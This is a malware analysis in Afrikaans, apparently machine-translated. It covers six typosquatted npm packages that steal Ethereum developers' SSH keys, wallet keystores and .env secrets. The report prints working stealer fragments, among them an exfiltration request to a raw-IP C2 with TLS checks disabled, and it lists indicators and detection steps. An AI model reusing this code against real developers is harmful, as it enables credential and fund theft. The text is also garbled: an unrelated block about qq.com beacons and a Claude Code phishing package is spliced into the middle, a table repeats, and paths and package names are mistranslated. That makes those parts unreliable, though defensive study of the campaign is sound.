TL; DR
Op 6 Mei 2026, 'n enkele npm-uitgewer, namikazesarada010206, het ses kwaadwillige pakkette versprei wat die Ethereum-, Solidity- en DeFi-ontwikkelaarsekosisteem teiken.
Die pakkette, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, en web3-utils-core, het geloofwaardige name gebruik wat ontwerp is om soos hulpbiblioteke vir gewilde Web3-gereedskap te lyk.
Al ses pakkies het dieselfde bevat telemetry.js lêer. Die lêer was byte-identies oor die hele groep, met SHA-256:
Die wanware word nie tydens installasie uitgevoer nie. Daar is geen preinstall or postinstall haak. In plaas daarvan aktiveer dit wanneer die pakket ingevoer word deur require().
Daardie detail maak saak.
Die inplanting wag totdat 'n ontwikkelaar die pakket werklik gebruik. Dan kyk dit of die werkstasie soos 'n regte Ethereum / Solidity-ontwikkelingsomgewing lyk. Dit soek na Alchemy- of Infura-sleutels, privaat sleutels, mnemonika, ontplooiersleutels of 'n plaaslike Foundry-gids.
Indien die gasheer ooreenstem, versamel die dief SSH-privaatsleutels, Foundry / Geth / Brownie-beursie-sleutelbergings, .env* lêers en sensitiewe omgewingveranderlikes. Dit enkripteer die bundel met AES-256-GCM met behulp van 'n hardgekodeerde wagwoordfrase en eksfiltreer dit na 'n rou IPv4 C2-eindpunt met TLS-verifikasie gedeaktiveer.
Xygeni se Malware Early Warning (MEW)-stelsel het al ses pakkette as kwaadwillig bevestig. Die npm-register-verwyderingsverslagbundel is hangende.
Die Kluster: Ses Pakkette, Een Uitgewer
Die uitgewerrekening namikazesarada010206 was gekoppel aan die ongeverifieerde Gmail-adres namikazesarada010206@gmail.com.
Die veldtog het as 'n eendaagse publikasie-uitbarsting op 6 Mei 2026 verskyn. Al ses pakkette is as weergawes gewysig. 1.0.0, het geen looptydafhanklikhede gehad nie, en slegs drie lêers gestuur:
package.json index.js telemetry.js Hulle het ook dieselfde bronbewaarplek verklaar:
https://github.com/harunosakura030303-maker/evmchain-config Die eerste drie pakkette is deur MEW-skandeerders met die eerste publikasie vasgevang. Die oorblywende drie is geforseerd gemerk na ontleder-oorsig van die uitgewer se npm-profiel. Sodra dieselfde byte-identies telemetry.js is oor die hele groep bevestig, is hulle deur konsekwentheid as kwaadwillig gesluit.
| pakket | weergawe | npm Gepubliseer | MEW-kaartjie | Uitspraak |
|---|---|---|---|---|
| viem-kern | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Kwaadwillige |
| viem-utils-kern | 1.0.0 | 2026-05-06 | #51050 | Kwaadwillige |
| hardhat-kern-utils | 1.0.0 | 2026-05-06 | #51051 | Kwaadwillige |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Kwaadwillig, deur konsekwentheid |
| gietery-nutsdienste | 1.0.0 | 2026-05-06 | #51071 | Kwaadwillig, deur konsekwentheid |
| web3-utils-kern | 1.0.0 | 2026-05-06 | #51070 | Kwaadwillig, deur konsekwentheid |
Die naamgewingstrategie is eenvoudig maar effektief.
Hierdie pakkette boots nie presiese stroomopname na nie. In plaas daarvan gebruik hulle geloofwaardige "nutsprogram"-agtervoegsels soos -core, -utils, en -utils-coreDit laat hulle lyk soos metgeselbiblioteke wat 'n ontwikkelaar dalk naby Web3-gereedskap sou verwag.
| Kwaadwillige pakket | Wettige Teiken |
|---|---|
| viem-kern | viem, 'n gewilde Ethereum TypeScript-kliënt |
| viem-utils-kern | viem |
| hardhat-kern-utils | hardhat, 'n hoofstroom Solidity-ontwikkelingsomgewing |
| evm-utils | Generiese EVM-gereedskapnaamruimte |
| gietery-nutsdienste | gietery, 'n Solidity-gereedskapsketting |
| web3-utils-kern | web3-hulpprogramme, Web3.js-helpers |
Dit is die "aanvullende pakket"-patroon: nie "Ek is die regte pakket" nie, maar "Ek lyk soos 'n redelike helper rondom die regte pakket".
Vir DeFi-ontwikkelaars wat vinnig beweeg, is dit genoeg om risiko te skep.
Wat gebeur wanneer die pakket ingevoer word
Die aanvalsketting is klein, doelbewus en gefokus op kripto-ontwikkelingsomgewings.
Daar is geen installasiehaak nie. In plaas daarvan bevat elke pakket 'n index.js wat stompfunksionaliteit uitvoer en dan die kwaadwillige telemetriemodule laai.
require('./telemetry').init(); Dit beteken dat die wanware met die eerste invoer aktiveer.
Dit is operasioneel nuttig vir die aanvaller. Baie skandeerders en sandkaste fokus op installasietydgedrag. Hierdie pakket wag totdat dit eintlik deur 'n ontwikkelaar, bouskrip, toetssuite of looptydpad gebruik word.
Aktiveringshek: Werk slegs op regte Web3-ontwikkelaarswerkstasies
Die belangrikste deel van die inplantaat is die aktiveringshek.
Die wanware kontroleer vir omgewingveranderlikes wat algemeen op Ethereum / Solidity-ontwikkelaarsmasjiene voorkom:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Dit kyk ook of Foundry geïnstalleer blyk te wees:
fs.existsSync(path.join(os.homedir(), '.foundry')) Indien geeneen van die voorwaardes waar is nie, gee die funksie terug en doen niks.
Dit maak die pakket stiller in generiese analise-omgewings. 'n Sandput sonder Foundry, Alchemy-sleutels, Infura-sleutels, privaat sleutels of mnemonika kan 'n onskadelike invoer sien.
Op 'n ooreenstemmende gasheer wag die wanware 60 tot 90 sekondes voor versameling:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Die vertraging verminder die ooglopende korrelasie tussen invoer en eksfiltrasie. .unref() `call` laat ook die gasheerproses normaalweg afsluit as die pakket in 'n kortstondige skrip ingevoer is.
Dit is nie raserige "smash-and-grab"-gedrag nie. Dit is 'n geteikende diefstal-aksie wat ontwerp is om te verhoed dat dit loop tensy die ontwikkelaaromgewing die moeite werd is om van te steel.
Wat die Steeler Versamel
Sodra die aktiveringshek geslaag het, versamel die wanware van bronne wat die belangrikste is in Web3-ontwikkeling: privaat sleutels, beursie-sleutelbergings, ontplooiingsbewyse, wolkgeheime, npm-tokens en plaaslike projekkonfigurasie.
| Bron | Wat word versamel |
|---|---|
| proses.omgewing | Enige veranderlike wat ooreenstem met /TOKEN|SECRET|SLEUTEL|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Lêers wat PRIVATE SLEUTEL of BEGIN OPENSSH bevat, insluitend die volledige lêerinhoud |
| ~/.gietery/sleutelwinkels/* | Foundry-beursie-sleutelstoorlêers |
| ~/.ethereum/sleutelwinkel/* | Geth-beursie-sleutelstoorlêers |
| ~/.brownie/rekeninge/* | Brownie-beursie-sleutelstoorlêers |
| ${cwd}/.omgewing | Volledige lêerinhoud |
| ${cwd}/.omgewing.lokaal | Volledige lêerinhoud |
| ${cwd}/.omgewing.produksie | Volledige lêerinhoud |
| ${cwd}/.omgewing.ontwikkeling | Volledige lêerinhoud |
| os.gasheernaam() | Gasheermetadata |
| kripto.randomUUID() | Slagoffer-/sessie-identifiseerder |
| Datum.nou() | Versamelingstydstempel |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Die ATTA-tokens is:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Ons kon nie bevestig of die telemetrie die operateur se eie analise of 'n afsonderlik gemonetiseerde kanaal was nie. Die ATTA-tokens is dieselfde in beide monsters wat ons ondersoek het.
Groep B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL-kaping
Die steekproef van 1 April is die ruwer, vroeëre arm van die veldtog.
heibai:2.1.88-claude.hk-4 is gepubliseer deur wuguoqiangvip28, 'n rekening wat op 7 Junie 2025 geskep is. Die pakket het homself eksplisiet teen die wettige weergawe verander. 2.1.88 Antropiese vrystelling.
Dit pla nie met CA-cert MITM nie. In plaas daarvan lieg dit vir die gebruiker oor die OAuth-eindpunt.
Die kwaadwillige byvoegings bo-op die gelekte Claude Code-bron sluit in:
| Bron | Wat word versamel |
|---|---|
| proses.omgewing | Enige veranderlike wat ooreenstem met /TOKEN|SECRET|SLEUTEL|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Lêers wat PRIVATE SLEUTEL of BEGIN OPENSSH bevat, insluitend die volledige lêerinhoud |
| ~/.gietery/sleutelwinkels/* | Foundry-beursie-sleutelstoorlêers |
| ~/.ethereum/sleutelwinkel/* | Geth-beursie-sleutelstoorlêers |
| ~/.brownie/rekeninge/* | Brownie-beursie-sleutelstoorlêers |
| ${cwd}/.omgewing | Volledige lêerinhoud |
| ${cwd}/.omgewing.lokaal | Volledige lêerinhoud |
| ${cwd}/.omgewing.produksie | Volledige lêerinhoud |
| ${cwd}/.omgewing.ontwikkeling | Volledige lêerinhoud |
| os.gasheernaam() | Gasheermetadata |
| kripto.randomUUID() | Slagoffer-/sessie-identifiseerder |
| Datum.nou() | Versamelingstydstempel |
Die teikenlys is hoogs spesifiek. Dit is nie generiese blaaierdiefstal of breë geloofsbriewe-skraapwerk nie. Dit is gemik op ontwikkelaars wat Ethereum-toepassings bou, toets, ontplooi of bedryf.
Die insluiting van Foundry-, Geth- en Brownie-sleutelbergings is veral belangrik. Hierdie lêers kan direkte toegang tot beursies of ontplooiingsidentiteite verteenwoordig. As die aanvaller hulle met wagwoorde, mnemonika of omgewinggeheime kan koppel, kan hulle moontlik fondse skuif, ontplooiers naboots of slimkontrakbedrywighede in gevaar stel.
Enkripsie voor eksfiltrasie
Die wanware enkripteer die versamelde data voordat dit uitgestuur word.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Die hardgekodeerde wagwoordfrase is:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Die finale vrag word as JSON toegedraai:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Enkripsie maak nie die wanware op sigself meer gevorderd nie. Dit maak netwerkinspeksie egter moeiliker. 'n Verdediger wat uitgaande sagteware dophou, sal 'n JSON-vrag sien, maar nie die gesteelde sleutels, beursie-lêers of ... nie. .env inhoud sonder die hardgekodeerde wagwoordfrase en dekripsielogika.
Eksfiltrasie na 'n Rou IPv4 C2
Die eksfiltrasiepad is hardgekodeer:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Die wanware stuur data na:
https://76.13.37.80:8443/api/v1/telemetry Twee besonderhede staan uit.
Eerstens, die C2 is 'n rou IPv4-adres eerder as 'n domein. Dit verwyder die behoefte aan domeinregistrasie en vermy sommige domeingebaseerde opsporings.
Tweedens, TLS-verifikasie is gedeaktiveer met:
rejectUnauthorized: false Dit laat die wanware toe om enige sertifikaat te aanvaar, insluitend selfgetekende sertifikate. Met ander woorde, die aanvaller kry geënkripteerde vervoer sonder om 'n geldige publieke sertifikaat te benodig.
Daar is geen herprobeerlogika en geen noodgasheer nie. Foute word stilweg ingesluk. Dit hou die pakket stil as die C2 vanlyn of onbereikbaar is.
Waarom hierdie veldtog belangrik is
Meeste kwaadwillige npm-pakkette wat op ontwikkelaars gemik is, jaag breë geloofsbriewe na: npm-tokens, AWS-sleutels, GitHub-tokens, of .npmrc lêers.
Hierdie veldtog vernou die teiken.
Dit soek na tekens dat die masjien aan 'n Ethereum- of Solidity-ontwikkelaar behoort. Dan trek dit presies die bates wat in daardie omgewing saak maak: beursie-sleutelbergings, privaat sleutels, mnemonika, ontplooiersleutels, .env lêers en SSH-sleutels.
Dit maak die veldtog gevaarliker vir Web3-spanne as 'n generiese npm-dief.
'n Suksesvolle infeksie kan blootstel:
- Implementeringsbeursies
- Slim kontrak administrateur sleutels
- RPC-verskaffersleutels
- Wolk-ontplooiingsbewyse
- npm-publikasietokens
- SSH-toegang tot ontwikkelaar- of bou-infrastruktuur
- Projekgeheime gestoor in
.envlêers - Beursiesleutelwinkels vir Foundry, Geth of Brownie
Die pakketname toon ook duidelike sosiale manipulasie. Hulle teiken die Web3-ontwikkelaarsekosisteem deur bekende gereedskapname: viem, hardhat, foundry, evm, en web3.
Die akteur hoef nie die werklike projekte in gevaar te stel nie. Hulle benodig slegs 'n ontwikkelaar om te installeer wat lyk na 'n redelike metgeselpakket.
Aanwysers van Kompromie en Opsporing
| Pakkette en Uitgewer | |
|---|---|
| Veld | waarde |
| npm-uitgewer | namikazesarada010206 |
| Uitgewer se e-posadres | namikazesarada010206@gmail.com |
| e-pos geverifieer | Geen |
| SCM geverifieer | Geen |
| Reputasietelling | 1.0 |
| Pakkette | viem-kern, viem-utils-kern, hardehat-kern-utils, evm-utils, gietery-utils, web3-utils-kern |
| weergawes | Alle 1.0.0 |
| Bronbewaarplek | https://github.com/harunosakura030303-maker/evmchain-config |
| Bevestig as kwaadwillig | Al ses pakkette |
| Netwerk | |
|---|---|
| Tipe | waarde |
| C2-eindpunt | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2-poort | 8443/tcp |
| TLS-gedrag | verwerpOngeautoriseerd: vals |
| Vragskema | {"v":2,"iv": "d": "t": } |
| Lêers en Hashes | |
|---|---|
| Tipe | waarde |
| telemetrie.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Pakketuitleg | pakket.json, indeks.js, telemetrie.js |
| Lêertelling | 3 |
| Benaderde totale grootte | 3.4 KB |
Aktiveringsseine
Die wanware kontroleer vir hierdie omgewingveranderlikes:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Dit kontroleer ook vir:
~/.foundry/ Geteikende gasheerpaaie
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Versameling Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Opsporingsnotas
Verskeie reëls vang hierdie veldtog vas sonder dat volledige gedragsanalise nodig is.
Skandeer eers sluitlêers vir die ses kwaadwillige pakketname:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Enige wedstryd in package-lock.json, yarn.lock, pnpm-lock.yaml, of node_modules geskiedenis moet as 'n ernstige voorval beskou word.
Tweedens, monitor vir Node.js-prosesse wat beursie-sleutelstoorpaaie lees:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Dit is selde wettige gedrag vir 'n pakket wat as 'n helperafhanklikheid ingevoer word. Dit is veral verdag wanneer dit gevolg word deur uitgaande netwerkaktiwiteit.
Derdens, blokkeer of waarsku oor HTTPS-verbindings na:
76.13.37.80:8443 Veral wanneer die versoekpad is:
/api/v1/telemetry Vierdens, soek na npm-pakkette wat hierdie eienskappe kombineer:
- Nuwe of lae-reputasie uitgewer
- Ongeverifieerde Gmail-rekening
- Web3-aangrensende pakketnaam
- Geen betekenisvolle bewaarplekgeskiedenis nie
- Klein pakketuitleg
index.jswat 'n telemetrie- of hulplêer laai- Geen looptydafhanklikhede nie
- Sensitiewe omgewing-veranderlike versameling
- Toegang tot beursie-sleutelstoor
Hierdie patroon is nuttiger as 'n enkele IOC, want die volgende pakket kan die IP-adres verander, maar dieselfde teikenlogika behou.
Kompromie-reaksie-kontrolelys
Indien 'n ontwikkelaar een van die ses pakkette gebruik het en hul omgewing ooreenstem met die aktiveringshek, hanteer die werkstasie as gekompromitteer.
Dit sluit masjiene met Foundry geïnstalleer, Alchemy- of Infura-sleutels in die omgewing, privaat sleutels, mnemonika of ontplooiersleutels in.
Aanbevole reaksie:
- Ontkoppel die gasheer van die netwerk.
- bewaar
node_modules, sluitlêers, dopgeskiedenis en relevante logboeke vir forensiese ondersoeke. - Roteer elke SSH-sleutelpaar onder
~/.ssh/. - Roteer beursiesleutels vir elke sleutelstoor onder
~/.foundry,~/.ethereum, en~/.brownie. - Skuif fondse na vars beursies.
- Roteer elke geheim wat gestoor is in
.env*lêers in bewaarplekke waarin die ontwikkelaar gewerk het. - Roteer omgewinggeheime wat ooreenstem met die versamelingsregex, insluitend AWS-sleutels, npm-tokens, ontplooiingstokens, API-sleutels, privaat sleutels, sade en mnemonika.
- Ouditwolk-, npm-, GitHub-, RPC-verskaffer- en blokkettingaktiwiteit sedert die pakket die eerste keer geïnstalleer is.
- Herbeeld die werkstasie voor hergebruik.
Wat Verdedigers Moet Wegneem
Hierdie veldtog wys hoe npm typosquatting ontwikkel rondom hoëwaarde-ontwikkelaar-ekosisteme.
Die akteur het nie volharding nodig gehad nie. Hulle het nie verdoeseling nodig gehad nie. Hulle het nie eers installasietyd-uitvoering nodig gehad nie.
In plaas daarvan het hulle op drie dinge staatgemaak:
- Geloofwaardige Web3-pakketname
- Aktivering slegs op regte kripto-ontwikkelingsmasjiene
- Direkte diefstal van die lêers en geheime wat die belangrikste is vir Ethereum-ontwikkelaars
Dit maak die veldtog maklik om te mis in breë skandering en gevaarlik wanneer dit in die regte omgewing beland.
Vir Web3-spanne is die les duidelik: behandel afhanklikheidsname as deel van jou bedreigingsmodel. 'n Pakket wat soos 'n onskadelike helper lyk, kan steeds die kortste pad na beursie-kompromie word.
Aangemeld by die npm-register. Ons sal hierdie plasing opdateer wanneer die uitgewerrekening en pakkette verwyder is.




